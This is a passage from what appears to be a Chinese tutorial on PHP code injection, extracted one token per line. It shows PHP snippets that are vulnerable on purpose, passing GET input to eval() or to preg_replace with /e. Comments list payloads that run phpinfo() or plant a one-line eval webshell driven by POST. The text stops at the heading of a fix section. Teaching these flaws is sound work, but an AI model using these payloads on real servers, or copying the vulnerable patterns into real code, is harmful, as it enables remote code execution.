background image
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
$data
=
$_GET
[
'data'
];
echo
"\$ret= '$data'"
;
eval
(
"\$ret = strtolower('$data');"
);
echo
$ret
;
/*
payload:
?data=');phpinfo();//
?data=');@eval($_POST[a]);//
*/
?>
#3:
<?php
$data
=
$_GET
[
'data'
];
eval
(
"\$ret = strtolower(\"$data\");"
);
echo
$ret
;
/*
payload
?data={${phpinfo()}}
?data=1");phpinfo();//
?data=${@eval($_POST[x])}
*/
?>
preg_replace() ==>
1
2
3
4
5
6
7
8
9
10
11
<?php
$data
=
$_GET
[
'data'
];
echo
$data
;
preg_replace(
'/<data>(.*)<\/data>/e'
,
'$ret = "\\1";'
,
$data
);
echo
$ret
;
/*
payload:
?data=<data>${phpinfo()}</data>
注:PHP 5.5.0 /e 修饰符已经被弃用
*/
?>
0x05 修复方案
eval() ==>